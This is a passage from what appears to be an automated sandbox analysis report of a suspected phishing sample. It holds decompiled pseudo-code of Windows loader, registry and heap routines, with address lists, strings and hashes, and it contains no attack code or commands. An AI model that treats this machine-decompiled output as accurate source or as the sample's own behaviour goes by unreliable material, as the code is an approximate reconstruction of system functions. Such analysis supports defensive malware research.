							__eflags = _t124 - _t178;
							if(_t124 > _t178) {
								goto L61;
							}
							__eflags = _t124 - _t157;
							if(_t124 < _t157) {
								goto L61;
							}
							_t158 =  *((intOrPtr*)(_t187 + 0x54));
							_t126 =  *((intOrPtr*)(_t187 + 0x58)) + _t158;
							__eflags = _t126 - _t178;
							if(_t126 > _t178) {
								goto L61;
							}
							__eflags = _t126 - _t158;
							if(_t126 < _t158) {
								goto L61;
							}
							_t159 =  *((intOrPtr*)(_t187 + 0x5c));
							_t128 =  *((intOrPtr*)(_t187 + 0x60)) + _t159;
							__eflags = _t128 - _t178;
							if(_t128 > _t178) {
								goto L61;
							}
							__eflags = _t128 - _t159;
							if(_t128 < _t159) {
								goto L61;
							}
							_t160 =  *((intOrPtr*)(_t187 + 0x64));
							_t130 =  *((intOrPtr*)(_t187 + 0x68)) + _t160;
							__eflags = _t130 - _t178;
							if(_t130 > _t178) {
								goto L61;
							}
							__eflags = _t130 - _t160;
							if(_t130 < _t160) {
								goto L61;
							}
							_t161 =  *((intOrPtr*)(_t187 + 0x6c));
							_t132 =  *((intOrPtr*)(_t187 + 0x70)) + _t161;
							__eflags = _t132 - _t178;
							if(_t132 > _t178) {
								goto L61;
							}
							__eflags = _t132 - _t161;
							if(_t132 < _t161) {
								goto L61;
							}
							_t162 =  *((intOrPtr*)(_t187 + 0x74));
							_t134 =  *((intOrPtr*)(_t187 + 0x78)) + _t162;
							__eflags = _t134 - _t178;
							if(_t134 > _t178) {
								goto L61;
							}
							__eflags = _t134 - _t162;
							if(_t134 < _t162) {
								goto L61;
							}
							_t163 =  *((intOrPtr*)(_t187 + 0x7c));
							_t136 =  *((intOrPtr*)(_t187 + 0x80)) + _t163;
							__eflags = _t136 - _t178;
							if(_t136 > _t178) {
								goto L61;
							}
							__eflags = _t136 - _t163;
							if(_t136 < _t163) {
								goto L61;
							}
							__eflags =  *_t187 - 0xfecdfecd;
							if( *_t187 != 0xfecdfecd) {
								goto L61;
							}
							__eflags = _t178 -  *((intOrPtr*)(_t196 - 0x40));
							if(_t178 !=  *((intOrPtr*)(_t196 - 0x40))) {
								goto L61;
							}
							__eflags =  *((intOrPtr*)(_t187 + 8)) - 0x10000;
							if( *((intOrPtr*)(_t187 + 8)) != 0x10000) {
								goto L61;
							}
							_t164 =  *(_t187 + 0xc);
							__eflags =  *(_t187 + 0xc);
							if( *(_t187 + 0xc) != 0) {
								_t179 = 7;
								_t137 = E00A195C8(_t164, _t179);
								__eflags = _t137;
								if(_t137 == 0) {
									goto L61;
								}
							}
							_t180 = 3;
							_t138 = E00A195C8( *(_t187 + 0x10) & 0xffffffcf, _t180);
							__eflags = _t138;
							if(_t138 == 0) {
								goto L61;
							}
							_t181 = 0x30;
							_t139 = E00A195C8( *(_t187 + 0x10) & 0xfffffffc, _t181);
							__eflags = _t139;
							if(_t139 == 0) {
								goto L61;
							}
							__eflags =  *(_t187 + 0x10) & 0x00000001;
							if(( *(_t187 + 0x10) & 0x00000001) == 0) {
								L54:
								 *(_t196 - 0x2c) = 0;
								goto L55;
							}
							_t182 = 3;
							_t140 = E00A195C8( *((intOrPtr*)(_t187 + 0x18)), _t182);
							__eflags = _t140;
							if(_t140 == 0) {
								goto L61;
							}
							_t170 =  *(_t187 + 0x14);
							__eflags =  *(_t187 + 0x14);
							if( *(_t187 + 0x14) != 0) {
								_t141 = E00A195C8(_t170, 0x100);
								__eflags = _t141;
								if(_t141 == 0) {
									goto L61;
								}
							}
							goto L54;
						}
						_t187 =  *(_t196 - 0x30);
						__eflags = _t195 - 0xc000007b;
						if(_t195 != 0xc000007b) {
							_t193 = 0xc000008a;
							 *(_t196 - 0x2c) = 0xc000008a;
						}
						goto L21;
					}
					_t143 = E00A2D1D0(_t102, 0, 0, 8);
					 *(_t196 - 0x30) = _t143;
					if(_t143 != 0xffffffff) {
						__eflags = _t143;
						if(_t143 == 0) {
							_t102 =  *(_t196 - 0x34);
							goto L17;
						}
						_t193 = 0;
						 *(_t196 - 0x2c) = 0;
						_t173 =  *(_t196 - 0x3c);
						__eflags = _t173;
						if(_t173 != 0) {
							 *_t173 = _t143;
						}
					} else {
						_t193 = 0xc000008a;
						L7:
						 *(_t196 - 0x2c) = _t193;
					}
					goto L8;
				}
			}

0x00a262a0
0x00a262a2
0x00a262a7
0x00a262af
0x00a262b5
0x00a262b8
0x00a262bf
0x00a262c8
0x00a262ce
0x00a262d1
0x00a262d6
0x00a262d7
0x00a262dd
0x00a262de
0x00a262e2
0x00a262eb
0x00a262ec
0x00a262f0
0x00a262f4
0x00a262fe
0x00a26308
0x00a26310
0x00a2631d
0x00a7903d
0x00a26323
0x00a26323
0x00a26323
0x00a2632b
0x00a79047
0x00a7904c
0x00a7904e
0x00a79060
0x00a79050
0x00a79059
0x00a79059
0x00a7906b
0x00a7906b
0x00a26331
0x00a26336
0x00a79075
0x00000000
0x00a2633c
0x00a2633f
0x00a26399
0x00a26399
0x00a2639c
0x00a2658b
0x00a2658d
0x00000000
0x00000000
0x00a26593
0x00a26594
0x00a2659a
0x00a2659b
0x00a265a1
0x00a265a3
0x00000000
0x00000000
0x00a2637a
0x00a2637f
0x00a2637f
0x00a263a2
0x00a263c4
0x00a263c6
0x00a263c9
0x00a263cb
0x00a2640d
0x00a26410
0x00a26412
0x00a26415
0x00a26571
0x00a26571
0x00a26578
0x00a2657b
0x00a2657d
0x00a2657f
0x00a2657f
0x00a26581
0x00a26583
0x00a263e6
0x00a263e6
0x00a263ea
0x00a263f0
0x00a263f2
0x00a263f4
0x00a263f4
0x00a263f4
0x00a263f7
0x00a263f8
0x00a263f9
0x00a263fb
0x00a263fc
0x00a263fd
0x00a26403
0x00a26403
0x00a2635d
0x00a26364
0x00a790db
0x00a790e0
0x00a2636a
0x00a2636a
0x00a2636a
0x00a26372
0x00a790e8
0x00a790ed
0x00a790ef
0x00a79104
0x00a790f1
0x00a790fa
0x00a790ff
0x00a790ff
0x00a7910f
0x00a7910f
0x00000000
0x00a26378
0x00a2641b
0x00a2642a
0x00a2642c
0x00a7907f
0x00a79084
0x00a265ae
0x00a265ae
0x00a263e0
0x00a263e0
0x00a263e2
0x00a263e4
0x00a263e4
0x00000000
0x00a263e2
0x00a26432
0x00a26437
0x00a2643a
0x00a26440
0x00a26442
0x00a26444
0x00000000
0x00000000
0x00a2644a
0x00a2644c
0x00000000
0x00000000
0x00a26452
0x00a26458
0x00a2645a
0x00a2645c
0x00000000
0x00000000
0x00a26462
0x00a26464
0x00000000
0x00000000
0x00a2646a
0x00a26470
0x00a26472
0x00a26474
0x00000000
0x00000000
0x00a2647a
0x00a2647c
0x00000000
0x00000000
0x00a26482
0x00a26488
0x00a2648a
0x00a2648c
0x00000000
0x00000000
0x00a26492
0x00a26494
0x00000000
0x00000000
0x00a2649a
0x00a264a0
0x00a264a2
0x00a264a4
0x00000000
0x00000000
0x00a264aa
0x00a264ac
0x00000000
0x00000000
0x00a264b2
0x00a264b8
0x00a264ba
0x00a264bc
0x00000000
0x00000000
0x00a264c2
0x00a264c4
0x00000000
0x00000000
0x00a264ca
0x00a264d0
0x00a264d2
0x00a264d4
0x00000000
0x00000000
0x00a264da
0x00a264dc
0x00000000
0x00000000
0x00a264e2
0x00a264eb
0x00a264ed
0x00a264ef
0x00000000
0x00000000
0x00a264f5
0x00a264f7
0x00000000
0x00000000
0x00a264fd
0x00a26503
0x00000000
0x00000000
0x00a26509
0x00a2650c
0x00000000
0x00000000
0x00a26512
0x00a26519
0x00000000
0x00000000
0x00a2651f
0x00a26522
0x00a26524
0x00a7908e
0x00a7908f
0x00a79094
0x00a79096
0x00000000
0x00000000
0x00a7909c
0x00a26532
0x00a26533
0x00a26538
0x00a2653a
0x00000000
0x00000000
0x00a26544
0x00a26545
0x00a2654a
0x00a2654c
0x00000000
0x00000000
0x00a2654e
0x00a26552
0x00a2656e
0x00a2656e
0x00000000
0x00a2656e
0x00a26556
0x00a2655a
0x00a2655f
0x00a26561
0x00000000
0x00000000
0x00a26563
0x00a26566
0x00a26568
0x00a790a6
0x00a790ab
0x00a790ad
0x00000000
0x00000000
0x00a790b3
0x00000000
0x00a26568
0x00a263cd
0x00a263d0
0x00a263d6
0x00a263d8
0x00a263dd
0x00a263dd
0x00000000
0x00a263d6
0x00a26348
0x00a2634d
0x00a26353
0x00a26382
0x00a26384
0x00a26396
0x00000000
0x00a26396
0x00a26386
0x00a26388
0x00a2638b
0x00a2638e
0x00a26390
0x00a26392
0x00a26392
0x00a26355
0x00a26355
0x00a2635a
0x00a2635a
0x00a2635a
0x00000000
0x00a26353

Strings

LdrResGetRCConfig Enter, xrefs: 00A262E2
LdrResGetRCConfig Exit, xrefs: 00A262F4
MUI, xrefs: 00A262B8, 00A263B7

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit$MUI
API String ID: 0-1145731471
Opcode ID: f6d4df3580fda4e89198f60d296f5cf2bb2254b1546042c4884f20cbbb38ad39
Instruction ID: 0d9e84274fa411a8b97fb4644cb4875498428e1943a6023f486fb7832f4ad0a2
Opcode Fuzzy Hash: f6d4df3580fda4e89198f60d296f5cf2bb2254b1546042c4884f20cbbb38ad39
Instruction Fuzzy Hash: 30B1CD71A026259BCF28CF69E980BADB7B5BF44314F248139F851EB295D730EC50CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00A18239, Relevance: 4.0, Strings: 3, Instructions: 233
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00A18239(signed int* __ecx, char* __edx, signed int _a4) {
				signed int _v12;
				intOrPtr _v548;
				intOrPtr _v552;
				intOrPtr _v556;
				char _v560;
				signed int _v564;
				intOrPtr _v568;
				char _v572;
				intOrPtr _v576;
				short _v578;
				char _v580;
				signed int _v584;
				intOrPtr _v586;
				char _v588;
				char* _v592;
				intOrPtr _v596;
				intOrPtr _v600;
				char* _v604;
				signed int* _v608;
				intOrPtr _v612;
				short _v614;
				char _v616;
				signed int _v620;
				signed int _v624;
				intOrPtr _v628;
				char* _v632;
				signed int _v636;
				char _v640;
				void* __ebx;
				void* __edi;
				void* __esi;
				char _t94;
				char* _t99;
				intOrPtr _t118;
				intOrPtr _t122;
				intOrPtr _t125;
				short _t126;
				signed int* _t137;
				intOrPtr _t138;
				intOrPtr _t143;
				intOrPtr _t145;
				intOrPtr _t148;
				signed int _t150;
				signed int _t151;
				void* _t152;
				signed int _t154;

				_t149 = __edx;
				_v12 =  *0xb0d360 ^ _t154;
				_v564 = _v564 & 0x00000000;
				_t151 = _a4;
				_t137 = __ecx;
				_v604 = __edx;
				_v608 = __ecx;
				_t150 = 0;
				_v568 = 0x220;
				_v592 =  &_v560;
				if(E00A26D30( &_v580, L"UseFilter") < 0) {
					L4:
					return L00A5B640(_t89, _t137, _v12 ^ _t154, _t149, _t150, _t151);
				}
				_push( &_v572);
				_push(0x220);
				_push( &_v560);
				_push(2);
				_push( &_v580);
				_push( *_t137);
				_t89 = L00A59650();
				if(_t89 >= 0) {
					if(_v556 != 4 || _v552 != 4 || _v548 == 0) {
						L3:
						_t89 = 0;
					} else {
						_t94 =  *_t151;
						_t151 =  *(_t151 + 4);
						_v588 = _t94;
						_v584 = _t151;
						if(E00A26D30( &_v580, L"\\??\\") < 0) {
							goto L4;
						}
						if(E00A2AA20( &_v560,  &_v580,  &_v588, 1) != 0) {
							_v588 = _v588 + 0xfff8;
							_v586 = _v586 + 0xfff8;
							_v584 = _t151 + 8;
						}
						_t99 =  &_v560;
						_t143 = 0;
						_v596 = _t99;
						_v600 = 0;
						do {
							_t149 =  &_v572;
							_push( &_v572);
							_push(_v568);
							_push(_t99);
							_push(0);
							_push(_t143);
							_push( *_t137);
							_t151 = E00A59820();
							if(_t151 < 0) {
								goto L37;
							}
							_t145 = _v596;
							_v580 =  *((intOrPtr*)(_t145 + 0xc));
							_v624 = _v624 & 0x00000000;
							_v620 = _v620 & 0x00000000;
							_v578 =  *((intOrPtr*)(_t145 + 0xc));
							_v576 = _t145 + 0x10;
							_v636 =  *_t137;
							_v632 =  &_v580;
							_push( &_v640);
							_push(_v604);
							_v640 = 0x18;
							_push( &_v564);
							_v628 = 0x240;
							_t151 = L00A59600();
							if(_t151 < 0) {
								goto L37;
							}
							_t151 = E00A26D30( &_v580, L"FilterFullPath");
							if(_t151 < 0) {
								L36:
								_push(_v564);
								E00A595D0();
								goto L37;
							}
							_t138 = _v592;
							_t118 = _v568;
							do {
								_push( &_v572);
								_push(_t118);
								_push(_t138);
								_push(2);
								_push( &_v580);
								_push(_v564);
								_t152 = L00A59650();
								if(_t152 == 0x80000005 || _t152 == 0xc0000023) {
									if(_t150 != 0) {
										L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t150);
									}
									_t147 =  *((intOrPtr*)( *[fs:0x30] + 0x18));
									if( *((intOrPtr*)( *[fs:0x30] + 0x18)) != 0) {
										_t122 =  *0xb07b9c; // 0x0
										_t150 = L00A34620(_t147, _t147, _t122 + 0x180000, _v572);
										if(_t150 == 0) {
											goto L25;
										}
										_t118 = _v572;
										_t138 = _t150;
										_v596 = _t150;
										_v568 = _t118;
										goto L27;
									} else {
										_t150 = 0;
										L25:
										_t151 = 0xc0000017;
										goto L26;
									}
								} else {
									L26:
									_t118 = _v568;
								}
								L27:
							} while (_t151 == 0x80000005 || _t151 == 0xc0000023);
							_v592 = _t138;
							_t137 = _v608;
							if(_t151 >= 0) {
								_t148 = _v592;
								if( *((intOrPtr*)(_t148 + 4)) != 1) {
									goto L36;
								}
								_t125 =  *((intOrPtr*)(_t148 + 8));
								if(_t125 > 0xfffe) {
									goto L36;
								}
								_t126 = _t125 + 0xfffffffe;
								_v616 = _t126;
								_v614 = _t126;
								_v612 = _t148 + 0xc;
								if(L00A29660( &_v588,  &_v616, 1) == 0) {
									break;
								}
								goto L36;
							}
							_push(_v564);
							E00A595D0();
							_t65 = _t151 + 0x3fffffcc; // 0x3fffffcc
							asm("sbb eax, eax");
							_t151 = _t151 &  ~_t65;
							L37:
							_t99 = _v596;
							_t143 = _v600 + 1;
							_v600 = _t143;
						} while (_t151 >= 0);
						if(_t150 != 0) {
							L00A377F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t150);
						}
						if(_t151 >= 0) {
							_push( *_t137);
							E00A595D0();
							 *_t137 = _v564;
						}
						_t85 = _t151 + 0x7fffffe6; // 0x7fffffe6
						asm("sbb eax, eax");
						_t89 =  ~_t85 & _t151;
					}
					goto L4;
				}
				if(_t89 != 0xc0000034) {
					if(_t89 == 0xc0000023) {
						goto L3;
					}
					if(_t89 != 0x80000005) {
						goto L4;
					}
				}
				goto L3;
			}

0x00a18239
0x00a1824b
0x00a1824e
0x00a1825d
0x00a18260
0x00a1826e
0x00a18275
0x00a1827b
0x00a1827d
0x00a18287
0x00a18294
0x00a182ce
0x00a182de
0x00a182de
0x00a1829c
0x00a1829d
0x00a182a8
0x00a182a9
0x00a182b1
0x00a182b2
0x00a182b4
0x00a182bb
0x00a72dfa
0x00a182cc
0x00a182cc
0x00a72e19
0x00a72e19
0x00a72e1b
0x00a72e1e
0x00a72e30
0x00a72e3d
0x00000000
0x00000000
0x00a72e5a
0x00a72e61
0x00a72e68
0x00a72e72
0x00a72e72
0x00a72e78
0x00a72e7e
0x00a72e80
0x00a72e86
0x00a72e8c
0x00a72e8c
0x00a72e92
0x00a72e93
0x00a72e99
0x00a72e9a
0x00a72e9c
0x00a72e9d
0x00a72ea4
0x00a72ea8
0x00000000
0x00000000
0x00a72eae
0x00a72eb8
0x00a72ec3
0x00a72eca
0x00a72ed1
0x00a72edb
0x00a72ee3
0x00a72eef
0x00a72efb
0x00a72efc
0x00a72f08
0x00a72f12
0x00a72f13
0x00a72f22
0x00a72f26
0x00000000
0x00000000
0x00a72f3d
0x00a72f41
0x00a73069
0x00a73069
0x00a7306f
0x00000000
0x00a7306f
0x00a72f47
0x00a72f4d
0x00a72f53
0x00a72f59
0x00a72f5a
0x00a72f5b
0x00a72f5c
0x00a72f64
0x00a72f65
0x00a72f70
0x00a72f78
0x00a72f84
0x00a72f92
0x00a72f92
0x00a72f9d
0x00a72fa2
0x00a72fed
0x00a73004
0x00a73008
0x00000000
0x00000000
0x00a7300a
0x00a73010
0x00a73012
0x00a73018
0x00000000
0x00a72fa4
0x00a72fa4
0x00a72fa6
0x00a72fa6
0x00000000
0x00a72fa6
0x00a72fab
0x00a72fab
0x00a72fab
0x00a72fab
0x00a72fb1
0x00a72fb1
0x00a72fc1
0x00a72fc7
0x00a72fcf
0x00a73020
0x00a7302a
0x00000000
0x00000000
0x00a7302c
0x00a73034
0x00000000
0x00000000
0x00a73036
0x00a73039
0x00a73040
0x00a7304a
0x00a73067
0x00000000
0x00000000
0x00000000
0x00a73067
0x00a72fd1
0x00a72fd7
0x00a72fdc
0x00a72fe4
0x00a72fe6
0x00a73074
0x00a7307a
0x00a73080
0x00a73081
0x00a73087
0x00a73091
0x00a7309f
0x00a7309f
0x00a730a6
0x00a730a8
0x00a730aa
0x00a730b5
0x00a730b5
0x00a730b7
0x00a730bf
0x00a730c1
0x00a730c1
0x00000000
0x00a72dfa
0x00a182c6
0x00a72ddd
0x00000000
0x00000000
0x00a72de8
0x00000000
0x00000000
0x00a72dee
0x00000000

Strings

\??\, xrefs: 00A72E2A
FilterFullPath, xrefs: 00A72F2C
UseFilter, xrefs: 00A18263

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: FilterFullPath$UseFilter$\??\
API String ID: 0-2779062949
Opcode ID: f31196440c8a1e6cff7bbb42e45b17fd24105b1cf50c342b6f96f8a5f37b837a
Instruction ID: b4848020a1abbb7f3cbd5c2be16a767e2952074ce30b69796cca08de1b7bbf65
Opcode Fuzzy Hash: f31196440c8a1e6cff7bbb42e45b17fd24105b1cf50c342b6f96f8a5f37b837a
Instruction Fuzzy Hash: 1AA14B329116299BDF31DB68CD88BEAB7B8EF44700F1181E9E90CA7250DB359E85CF50

Uniqueness

Uniqueness Score: -1.00%

Function 00A4AC7B, Relevance: 4.0, Strings: 3, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E00A4AC7B(void* __ecx, signed short* __edx) {
				signed int _v8;
				signed int _v12;
				void* __ebx;
				signed char _t75;
				signed int _t79;
				signed int _t88;
				intOrPtr _t89;
				signed int _t96;
				signed char* _t97;
				intOrPtr _t98;
				signed int _t101;
				signed char* _t102;
				intOrPtr _t103;
				signed int _t105;
				signed char* _t106;
				signed int _t131;
				signed int _t138;
				void* _t149;
				signed short* _t150;

				_t150 = __edx;
				_t149 = __ecx;
				_t70 =  *__edx & 0x0000ffff;
				__edx[1] = __edx[1] & 0x000000f8;
				__edx[3] = 0;
				_v8 =  *__edx & 0x0000ffff;
				if(( *(__ecx + 0x40) & 0x00000040) != 0) {
					_t39 =  &(_t150[8]); // 0x8
					E00A6D5E0(_t39, _t70 * 8 - 0x10, 0xfeeefeee);
					__edx[1] = __edx[1] | 0x00000004;
				}
				_t75 =  *(_t149 + 0xcc) ^  *0xb08a68;
				if(_t75 != 0) {
					L4:
					if( *((intOrPtr*)(_t149 + 0x4c)) != 0) {
						_t150[1] = _t150[0] ^ _t150[1] ^  *_t150;
						_t79 =  *(_t149 + 0x50);
						 *_t150 =  *_t150 ^ _t79;
						return _t79;
					}
					return _t75;
				} else {
					_t9 =  &(_t150[0x80f]); // 0x1017
					_t138 = _t9 & 0xfffff000;
					_t10 =  &(_t150[0x14]); // 0x20
					_v12 = _t138;
					if(_t138 == _t10) {
						_t138 = _t138 + 0x1000;
						_v12 = _t138;
					}
					_t75 = _t150 + (( *_t150 & 0x0000ffff) + 0xfffffffe) * 0x00000008 & 0xfffff000;
					if(_t75 > _t138) {
						_v8 = _t75 - _t138;
						_push(0x4000);
						_push( &_v8);
						_push( &_v12);
						_push(0xffffffff);
						_t131 = E00A596E0();
						__eflags = _t131 - 0xc0000045;
						if(_t131 == 0xc0000045) {
							_t88 = E00AC3C60(_v12, _v8);
							__eflags = _t88;
							if(_t88 != 0) {
								_push(0x4000);
								_push( &_v8);
								_push( &_v12);
								_push(0xffffffff);
								_t131 = E00A596E0();
							}
						}
						_t89 =  *[fs:0x30];
						__eflags = _t131;
						if(_t131 < 0) {
							__eflags =  *(_t89 + 0xc);
							if( *(_t89 + 0xc) == 0) {
								_push("HEAP: ");
								E00A1B150();
							} else {
								E00A1B150("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push(_v8);
							_push(_v12);
							_push(_t149);
							_t75 = E00A1B150("RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)\n", _t131);
							goto L4;
						} else {
							_t96 =  *(_t89 + 0x50);
							_t132 = 0x7ffe0380;
							__eflags = _t96;
							if(_t96 != 0) {
								__eflags =  *_t96;
								if( *_t96 == 0) {
									goto L10;
								}
								_t97 =  *( *[fs:0x30] + 0x50) + 0x226;
								L11:
								__eflags =  *_t97;
								if( *_t97 != 0) {
									_t98 =  *[fs:0x30];
									__eflags =  *(_t98 + 0x240) & 0x00000001;
									if(( *(_t98 + 0x240) & 0x00000001) != 0) {
										E00AD14FB(_t132, _t149, _v12, _v8, 7);
									}
								}
								 *((intOrPtr*)(_t149 + 0x234)) =  *((intOrPtr*)(_t149 + 0x234)) + _v8;
								 *((intOrPtr*)(_t149 + 0x210)) =  *((intOrPtr*)(_t149 + 0x210)) + 1;
								 *((intOrPtr*)(_t149 + 0x230)) =  *((intOrPtr*)(_t149 + 0x230)) + 1;
								 *((intOrPtr*)(_t149 + 0x220)) =  *((intOrPtr*)(_t149 + 0x220)) + 1;
								_t101 =  *( *[fs:0x30] + 0x50);
								__eflags = _t101;
								if(_t101 != 0) {
									__eflags =  *_t101;
									if( *_t101 == 0) {
										goto L13;
									}
									_t102 =  *( *[fs:0x30] + 0x50) + 0x226;
									goto L14;
								} else {
									L13:
									_t102 = _t132;
									L14:
									__eflags =  *_t102;
									if( *_t102 != 0) {
										_t103 =  *[fs:0x30];
										__eflags =  *(_t103 + 0x240) & 0x00000001;
										if(( *(_t103 + 0x240) & 0x00000001) != 0) {
											__eflags = E00A37D50();
											if(__eflags != 0) {
												_t132 =  *( *[fs:0x30] + 0x50) + 0x226;
												__eflags =  *( *[fs:0x30] + 0x50) + 0x226;
											}
											E00AD1411(_t132, _t149, _v12, __eflags, _v8,  *(_t149 + 0x74) << 3, 0, 0,  *_t132 & 0x000000ff);
										}
									}
									_t133 = 0x7ffe038a;
									_t105 =  *( *[fs:0x30] + 0x50);
									__eflags = _t105;
									if(_t105 != 0) {
										__eflags =  *_t105;
										if( *_t105 == 0) {
											goto L16;
										}
										_t106 =  *( *[fs:0x30] + 0x50) + 0x230;
										goto L17;
									} else {
										L16:
										_t106 = _t133;
										L17:
										__eflags =  *_t106;
										if( *_t106 != 0) {
											__eflags = E00A37D50();
											if(__eflags != 0) {
												_t133 =  *( *[fs:0x30] + 0x50) + 0x230;
												__eflags =  *( *[fs:0x30] + 0x50) + 0x230;
											}
											E00AD1411(_t133, _t149, _v12, __eflags, _v8,  *(_t149 + 0x74) << 3, 0, 0,  *_t133 & 0x000000ff);
										}
										_t75 = _t150[1] & 0x00000013 | 0x00000008;
										_t150[1] = _t75;
										goto L4;
									}
								}
							}
							L10:
							_t97 = _t132;
							goto L11;
						}
					} else {
						goto L4;
					}
				}
			}

0x00a4ac85
0x00a4ac88
0x00a4ac8a
0x00a4ac8d
0x00a4ac91
0x00a4ac99
0x00a4ac9c
0x00a89f57
0x00a89f5b
0x00a89f60
0x00a89f60
0x00a4aca8
0x00a4acae
0x00a4acda
0x00a4acde
0x00a4ace8
0x00a4aceb
0x00a4acee
0x00000000
0x00a4acee
0x00a4acf6
0x00a4acb0
0x00a4acb0
0x00a4acbb
0x00a4acbd
0x00a4acc0
0x00a4acc5
0x00a4adae
0x00a4adb4
0x00a4adb4
0x00a4acd4
0x00a4acd8
0x00a4acf9
0x00a4acff
0x00a4ad04
0x00a4ad08
0x00a4ad09
0x00a4ad10
0x00a4ad12
0x00a4ad18
0x00a89f6f
0x00a89f74
0x00a89f76
0x00a89f7c
0x00a89f84
0x00a89f88
0x00a89f89
0x00a89f90
0x00a89f90
0x00a89f76
0x00a4ad1e
0x00a4ad24
0x00a4ad26
0x00a8a097
0x00a8a09b
0x00a8a0ba
0x00a8a0bf
0x00a8a09d
0x00a8a0b2
0x00a8a0b7
0x00a8a0c5
0x00a8a0c8
0x00a8a0cb
0x00a8a0d2
0x00000000
0x00a4ad2c
0x00a4ad2c
0x00a4ad2f
0x00a4ad34
0x00a4ad36
0x00a89f97
0x00a89f9a
0x00000000
0x00000000
0x00a89fa9
0x00a4ad3e
0x00a4ad3e
0x00a4ad41
0x00a89fb3
0x00a89fb9
0x00a89fc0
0x00a89fd0
0x00a89fd0
0x00a89fc0
0x00a4ad4a
0x00a4ad50
0x00a4ad5c
0x00a4ad62
0x00a4ad68
0x00a4ad6b
0x00a4ad6d
0x00a89fda
0x00a89fdd
0x00000000
0x00000000
0x00a89fec
0x00000000
0x00a4ad73
0x00a4ad73
0x00a4ad73
0x00a4ad75
0x00a4ad75
0x00a4ad78
0x00a89ff6
0x00a89ffc
0x00a8a003
0x00a8a00e
0x00a8a010
0x00a8a01b
0x00a8a01b
0x00a8a01b
0x00a8a038
0x00a8a038
0x00a8a003
0x00a4ad84
0x00a4ad89
0x00a4ad8c
0x00a4ad8e
0x00a8a042
0x00a8a045
0x00000000
0x00000000
0x00a8a054
0x00000000
0x00a4ad94
0x00a4ad94
0x00a4ad94
0x00a4ad96
0x00a4ad96
0x00a4ad99
0x00a8a063
0x00a8a065
0x00a8a070
0x00a8a070
0x00a8a070
0x00a8a08d
0x00a8a08d
0x00a4ada4
0x00a4ada6
0x00000000
0x00a4ada6
0x00a4ad8e
0x00a4ad6d
0x00a4ad3c
0x00a4ad3c
0x00000000
0x00a4ad3c
0x00000000
0x00000000
0x00000000
0x00a4acd8

Strings

RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 00A8A0CD
HEAP: , xrefs: 00A8A0BA
HEAP[%wZ]: , xrefs: 00A8A0AD

Memory Dump Source

Source File: 0000000A.00000002.315066564.00000000009F0000.00000040.00000001.sdmp, Offset: 009F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_9f0000_Request_For_Quotation#234242_signed_copy_document_september_rfq.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
API String ID: 0-1340214556
Opcode ID: 6a4cb885b21adf2e768537520bec0a6b1ae20e7a47684c7a7a82c29bcd908e82
Instruction ID: d6cc8a1bdb591200f1abad58c3b16d4ede814dd537066713ef04126cc806c723
Opcode Fuzzy Hash: 6a4cb885b21adf2e768537520bec0a6b1ae20e7a47684c7a7a82c29bcd908e82
Instruction Fuzzy Hash: D0812375644684EFD726CBA8C984BAABBF8FF54300F1441A5F5418B692D774ED40CB11

Uniqueness

Uniqueness Score: -1.00%

Function 00AC23E3, Relevance: 3.9, Strings: 3, Instructions: 166
COMMONCrypto

Download Yara Rule

C-Code - Quality: 64%

			E00AC23E3(signed int __ecx, unsigned int __edx) {
				intOrPtr _v8;
				intOrPtr _t42;
				char _t43;
				signed short _t44;
				signed short _t48;
				signed char _t51;
				signed short _t52;
				intOrPtr _t54;
				signed short _t64;
				signed short _t66;
				intOrPtr _t69;
				signed short _t73;
				signed short _t76;
				signed short _t77;
				signed short _t79;
				void* _t83;
				signed int _t84;
				signed int _t85;
				signed char _t94;
				unsigned int _t99;
				unsigned int _t104;
				signed int _t108;
				void* _t110;
				void* _t111;
				unsigned int _t114;

				_t84 = __ecx;
				_push(__ecx);
				_t114 = __edx;
				_t42 =  *((intOrPtr*)(__edx + 7));
				if(_t42 == 1) {
					L49:
					_t43 = 1;
					L50:
					return _t43;
				}
				if(_t42 != 4) {
					if(_t42 >= 0) {
						if( *(__ecx + 0x4c) == 0) {
							_t44 =  *__edx & 0x0000ffff;
						} else {
							_t73 =  *__edx;
							if(( *(__ecx + 0x4c) & _t73) != 0) {
								_t73 = _t73 ^  *(__ecx + 0x50);
							}
							_t44 = _t73 & 0x0000ffff;
						}
					} else {
						_t104 = __edx >> 0x00000003 ^  *__edx ^  *0xb0874c ^ __ecx;
						if(_t104 == 0) {
							_t76 =  *((intOrPtr*)(__edx - (_t104 >> 0xd)));
						} else {
							_t76 = 0;
						}
						_t44 =  *((intOrPtr*)(_t76 + 0x14));
					}
					_t94 =  *((intOrPtr*)(_t114 + 7));
					_t108 = _t44 & 0xffff;
					if(_t94 != 5) {
						if((_t94 & 0x00000040) == 0) {
							if((_t94 & 0x0000003f) == 0x3f) {
								if(_t94 >= 0) {
									if( *(_t84 + 0x4c) == 0) {
										_t48 =  *_t114 & 0x0000ffff;
									} else {
										_t66 =  *_t114;
										if(( *(_t84 + 0x4c) & _t66) != 0) {
											_t66 = _t66 ^  *(_t84 + 0x50);
										}
										_t48 = _t66 & 0x0000ffff;
									}
								} else {
									_t99 = _t114 >> 0x00000003 ^  *_t114 ^  *0xb0874c ^ _t84;
